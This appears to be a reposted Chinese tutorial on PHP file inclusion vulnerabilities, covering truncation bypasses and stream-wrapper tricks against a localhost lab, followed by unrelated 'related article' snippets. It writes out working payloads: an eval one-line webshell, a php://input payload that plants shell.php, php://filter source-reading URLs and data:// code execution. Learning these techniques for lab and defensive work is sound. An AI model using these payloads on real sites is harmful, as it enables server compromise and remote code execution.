31-WEB漏洞-文件操作之文件包含漏洞全解

news2025/1/16 13:51:15

31-WEB漏洞-文件操作之文件包含漏洞全解

  • 一、本地包含
    • 1.1、无限制包含漏洞文件
    • 1.2、有限制包含漏洞文件
      • 1.2.1、绕过方法
        • 1.2.1.1、%00截断
        • 1.2.1.2、长度截断
  • 二、远程包含
    • 2.1、无限制包含漏洞文件
    • 2.2、有限制包含漏洞文件
  • 三、各种协议流提交流
    • 3.1、各协议的利用条件和方法
      • 3.1.1、php://input
      • 3.1.2、file://
      • 3.1.3、`http://`、`https://`
      • 3.1.4、`php://`
      • 3.1.5、php://filter参数详解
      • 3.1.6、`phar://`、`zip://`、`bzip2://`、`zlib://`
      • 3.1.7、`data://`
  • 四、 总结
  • 五、涉及资源

在这里插入图片描述

#文件包含漏洞

原理,检测,类型,利用,修复等

#文件包含各个脚本代码
ASP,PHP,JSP,ASPX等

<!-—#include file="1.asp " -->

<!--#include file="top.aspx"-->

<c:import url="http://lthief.one/1.jsp">

<jsp:include page="head .jsp" / >

<%@ include file="head.jsp" %>

<?php Include ( 'test.php ' ) ?>
  • 单纯访问phpinfo.txt文件

在这里插入图片描述

  • 文件包含访问phpinfo.txt文件

在这里插入图片描述

一、本地包含

1.1、无限制包含漏洞文件

  • include.php:
<?php

$filename=$_GET['file'];
include ( $filename);

?>

在这里插入图片描述

1.2、有限制包含漏洞文件

  • include1.php:
<?php


$filename=$_GET['file'];
include ( $filename.".html" );

?>

在这里插入图片描述

  • 传入flag.txt文件参数(执行失败,因为在当前目录不存在flag.txt.html文件)

1.2.1、绕过方法

1.2.1.1、%00截断
  • 条件:

    • magic_quotes_gpc=off
    • php版本<5.3.4
  • 原理:

    • 00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0(即0x00)作为字符串的结尾。操作系统在识别字符串时,当读取到\0字符时,就认为读取到了一个字符串的结束符号。
      在这里插入图片描述
      在这里插入图片描述
  • 这里不知道为啥不能截断,所以放弃了
    在这里插入图片描述

1.2.1.2、长度截断
  • 原理(垃圾数据溢出)

  • 超过文件命名256位,后面的HTML就没有被识别,而flag.txt././被当成flag.txt执行
    在这里插入图片描述
    在这里插入图片描述

  • 这里也不行了

二、远程包含

  • 条件:
    在这里插入图片描述

2.1、无限制包含漏洞文件

  • include.php:
<?php

$filename=$_GET['file'];
include ( $filename);

?>

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

  • 包含一句话木马:
<?php eval($_POST['cmd'])?>

在这里插入图片描述

在这里插入图片描述

  • 也可以使用菜刀进行连接:
    在这里插入图片描述

2.2、有限制包含漏洞文件

  • include1.php:
<?php

$filename=$_GET['file'];
include ( $filename.".html" );

?>

在这里插入图片描述

  • ?号:
    在这里插入图片描述

  • %20号:
    在这里插入图片描述

  • %23号:
    在这里插入图片描述

  • 使用一句话木马:
    在这里插入图片描述
    在这里插入图片描述

三、各种协议流提交流

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
  • php.ini参数设置
    • php.ini里有两个重要的参数allow_url_fopenallow_url_include
    • allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
    • allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

3.1、各协议的利用条件和方法

在这里插入图片描述

3.1.1、php://input

  • php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input同时post想设置的文件内容,php执行时会将post内容当作文件内容。
  • :当enctype=”multipart/form-data”时,php://input是无效的。

3.1.2、file://

  • 用于访问本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。
  • file://[文件的绝对路径和文件名]
    • http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
  • [文件的相对路径和文件名]
    • http://127.0.0.1/include.php?file=./phpinfo.txt

3.1.3、http://https://

  • URL 形式,允许通过 HTTP 1.0 的 GET方法,以只读访问文件或资源,通常用于远程包含。
  • [http://网络路径和文件名]
    • http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

3.1.4、php://

  • php:// 用于访问各个输入/输出流(I/O streams),经常使用的是php://filterphp://inputphp://filter用于读取源码php://input用于执行php代码
    在这里插入图片描述

3.1.5、php://filter参数详解

在这里插入图片描述

  • 可用的过滤器列表(4类):
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
  • 读取文件源码用法:
php://filter/read=convert.base64-encode/resource=[文件名]
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php
  • 执行php代码用法:
php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php phpinfo(); ?>
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.1.6、phar://zip://bzip2://zlib://

  • 用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]#编码为%23)
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
 
2、compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
 
3、compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpghttp://127.0.0.1/include.php?file=compress.zlib://./file.jpg4、phar://

3.1.7、data://

  • 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。
1、data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
 
2、data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

四、 总结

  • 伪协议常常用于文件包含漏洞之中。
  • 在php中能够造成文件包含的函数有includerequireinclude_oncerequire_oncehighlight_filehow_sourcefile_get_contentsfopenfilereadfile
    • include函数:可以放在PHP脚本的任意位置,一般放在流程控制的处理部分中。当PHP脚本执行到include指定引入的文件时,才将它包含并尝试执行。当第二次遇到相同文件时,PHP还是会重新解释一次。
    • require函数:一般放在PHP脚本的最前面,PHP执行前就会先读入require指定引入的文件,包含并尝试执行引入的脚本文件。require的工作方式是提高PHP的执行效率,当它在同一个网页中解释过一次后,第二次便不会解释。
    • include_oncerequire_once函数:分别与require / include作用相同,不同的是他们在执行到时会先检查目标内容是不是在之前已经导入过,如果导入过了,那么便不会再次重复引入其同样的内容。
    • hightfile函数:highlight_file(filename,return) —— filename:必需。要进行高亮处理的 PHP 文件的路径。return:可选。如果设置 true,则本函数返回高亮处理的代码。该函数通过使用 PHP 语法高亮程序中定义的颜色,输出或返回包含在 filename 中的代码的语法高亮版本。
    • show_source函数:该函数是highlight_file函数的别名。
    • file_get_content函数:把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
    • file() 函数:把整个文件读入一个数组中。与 file_get_contents() 类似,不同的是 file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。如果失败,则返回 false。

五、涉及资源

  • https://www.ichunqiu.com/battalion?t=1&r=0
  • http://4.chinalover.sinaapp.com/web7/index.php
  • https://www.cnblogs.com/endust/p/11804767.html #php伪协议
  • https://pan.baidu.com/s/1x_mwVE-xxmoKAvDJ8mRsw 提取码:xiao

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1281053.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Windows】如何实现 Windows 上面的C盘默认文件夹的完美迁移

如何实现 Windows 上面的C盘默认文件夹的完美迁移 1. 遇到的问题 在我想迁移C盘的 下载 和 视频 文件夹的时候&#xff0c;遇到了这样的问题&#xff0c;在迁移之后&#xff0c;我显卡录像的视频还是保存到了C盘默认位置里&#xff0c;以及我迁移了 下载 之后下载的盘依然是在…

XSS漏洞原理

XSS漏洞介绍&#xff1a; 跨站脚本攻击XSS(Cross Site Scripting)&#xff0c;为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆&#xff0c;故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码&#xff0c;当用户浏览该页面时&#xff0c;嵌入We…

数据结构 | 查漏补缺之ASL、

目录 ASL 情形之一&#xff1a;二分查找 线索二叉树 哈夫曼树 大根堆 邻接表&邻接矩阵 ASL 参考博文 关于ASL(平均查找长度)的简单总结_平均查找长度asl-CSDN博客 情形之一&#xff1a;二分查找 线索二叉树 参考博文 线索二叉树(线索链表遍历&#xff0c;二叉树…

【拓展】Loguru:更为优雅、简洁的Python 日志管理模块

目录 一、简单介绍 二、安装与简单使用 ​三、常见用法 3.1 显示格式 3.2 写入文件 3.3 json日志 3.4 日志绕接 3.5 并发安全 四、高级用法 4.1 接管标准日志logging 4.2 输出日志到网络服务器 4.2.1 自定义日志服务器 ​4.2.2 第三方库日志服务器 4.3 与pytest结…

LeetCode | 104. 二叉树的最大深度

LeetCode | 104. 二叉树的最大深度 OJ链接 这里需要注意的一点是每次有返回值&#xff0c;需要定义变量来保存上一次的值最后取最高的一方加1 int maxDepth(struct TreeNode* root) {if(root NULL)return NULL;int left maxDepth(root->left);int right maxDepth(root-…

MDETR 论文翻译及理解

题目Abstract1. Introduction2. Method2.1. Background2.2. MDETR2.2.1 Architecture2.2.2 Training 3. Experiments3.1. Pre-training Modulated Detection 预训练调制检测3.2. Downstream Tasks3.2.1 Few-shot transfer for long-tailed detection 4. Related work5. Conclus…

阵列信号处理---均匀线阵和均匀加权线阵

均匀线阵 均匀线性阵列(ULA&#xff1a;Uniform Linear Array)&#xff1a;有N个阵元位于z轴上且具有均匀间距d。 一般都把阵列的中心放在坐标系的原点。如下图 阵元的位置为 p z n ( n − N − 1 2 ) d &#xff0c; n 0 , 1 , … , N − 1 p_{z_n}\big(n-\frac{N-1}{2}\b…

UCore-OS实验Lab0

实验内容&#xff1a;搭建ucore-os的实验环境 实验准备内容&#xff1a;vmware虚拟机&#xff0c;ubuntu22.04镜像&#xff0c;qemu7.0.0源码 ucore代码地址 GitHub - chyyuu/os_kernel_lab at x86-32 实验步骤&#xff1a; 在vmware中安装ubuntu&#xff0c;因为我个人喜欢…

如何保持高能量

精力管理 精力管理对于平衡多项任务和保持热情至关重要。 通过自我积极反馈循环系统培养积极的内心声音。 培养仪式和习惯来控制内心的声音并保持能量。 学习语言带来正能量和宝贵的技能 保持高能量需要自我赋权和体力充电。 经常锻炼有很多好处&#xff0c;包括改善健康…

作业飞翔的鸟

首先创建一个新的Java项目命名为“飞翔的鸟”&#xff0c;并在src中创建一个包命名为“com.qiku.bird"&#xff0c;在这个包内分别创建4个类命名为“Bird”、“BirdGame”、“Column”、“Ground”&#xff0c;并向需要的图片素材导入到包内。 package com.qiku.bird;impo…

[ Linux Audio 篇 ] 音频开发入门基础知识

在短视频兴起的背景下&#xff0c;音视频开发越来越受到重视。接下来将为大家介绍音频开发者入门知识&#xff0c;帮助读者快速了解这个领域。 轻柔的音乐、程序员有节奏感的键盘声、嗡嗡的发动机、刺耳的手提钻……这些声音是如何产生的呢&#xff1f;又是如何传到我们耳中的…

基于Java SSM框架+Vue实现旅游资源网站项目【项目源码+论文说明】计算机毕业设计

基于java的SSM框架Vue实现旅游资源网站演示 摘要 本论文主要论述了如何使用JAVA语言开发一个旅游资源网站 &#xff0c;本系统将严格按照软件开发流程进行各个阶段的工作&#xff0c;采用B/S架构&#xff0c;面向对象编程思想进行项目开发。在引言中&#xff0c;作者将论述旅游…

IP数据报首部检验和计算方法

图源&#xff1a;360百科 计算首部检验和的步骤&#xff1a;&#xff08;用二进制计算&#xff09; 将IP数据报的首部按照每16位&#xff08;2个字节&#xff09;一组进行分组&#xff0c;这样固定首部能够得到9个这样的16位二进制数&#xff1a; 版本首部长度区分服务&#…

JVM之内存区域(二)

JVM内存区域 JVM 内存区域主要分为线程私有区域【程序计数器、虚拟机栈、本地方法区】、线程共享区域【JAVA 堆、方法区】、直接内存。 线程私有数据区域生命周期与线程相同, 依赖用户线程的启动/结束 而 创建/销毁(在 Hotspot VM 内, 每个线程都与操作系统的本地线程直接映射…

Python必备工具shelve与dbm全面解析!

更多资料获取 &#x1f4da; 个人网站&#xff1a;ipengtao.com 当涉及存储大量数据并且需要高效访问时&#xff0c;Python开发人员常常寻找适当的工具。shelve和dbm模块是Python中用于本地持久化存储数据的两个强大工具。它们允许开发人员以键值对的形式存储数据&#xff0c;…

vue发送请求携带token,拼接url地址下载文件

封装请求 &#xff0c;该请求为普通的get请求 该请求返回值为&#xff1a; 请求成功之后拼接URL地址下载文件 代码块 downTemplateRequest(activeKeys.value).then((res) > {let url http://47.169.168.99:18888/media/${res.data.name};var elink document.createElemen…

vscode问题:此扩展在此工作区中被禁用,因为其被定义为在远程扩展主机中运行

mac按shiftcommandp windows按ctrlshiftP&#xff1a; 将当前项目文件夹添加进去就ok了。

ADC欠采样以及应用案例

欠采样与其优劣 ADC&#xff08;Analog-to-Digital Converter&#xff09;的欠采样是指在信号的采样过程中&#xff0c;采样频率低于被采样信号的最高频率的情况。这意味着采样率不足以捕捉到信号的完整信息&#xff0c;而是以较低的频率对信号进行采样。 欠采样在某些特定情…

python之pyqt专栏11-事件(QEvent)

QApplication.exec() 在main.py中&#xff0c;实例化app对象&#xff0c;然后在 sys.exit(app.exec())中调用app.exec()&#xff0c; if __name__ __main__:# 实例化应用app QApplication(sys.argv)# 实例化MyMainFormmyw MyMainForm()myw.show()# 启动应用程序的事件循环并…

uni-app一些目录结构、方法、生命周期、打包、微信小程序登录与支付

1、关于uniapp的目录结构 跟普通vue项目目录结构差不多&#xff0c;多了几个核心文件&#xff0c;manifest.json是配置应用名称、appid、logo、版本等打包信息用的&#xff0c;pages.json的作用是配置页面路径、页面窗口样式、tabBar、navigationBar等页面类信息 2、页面适配方…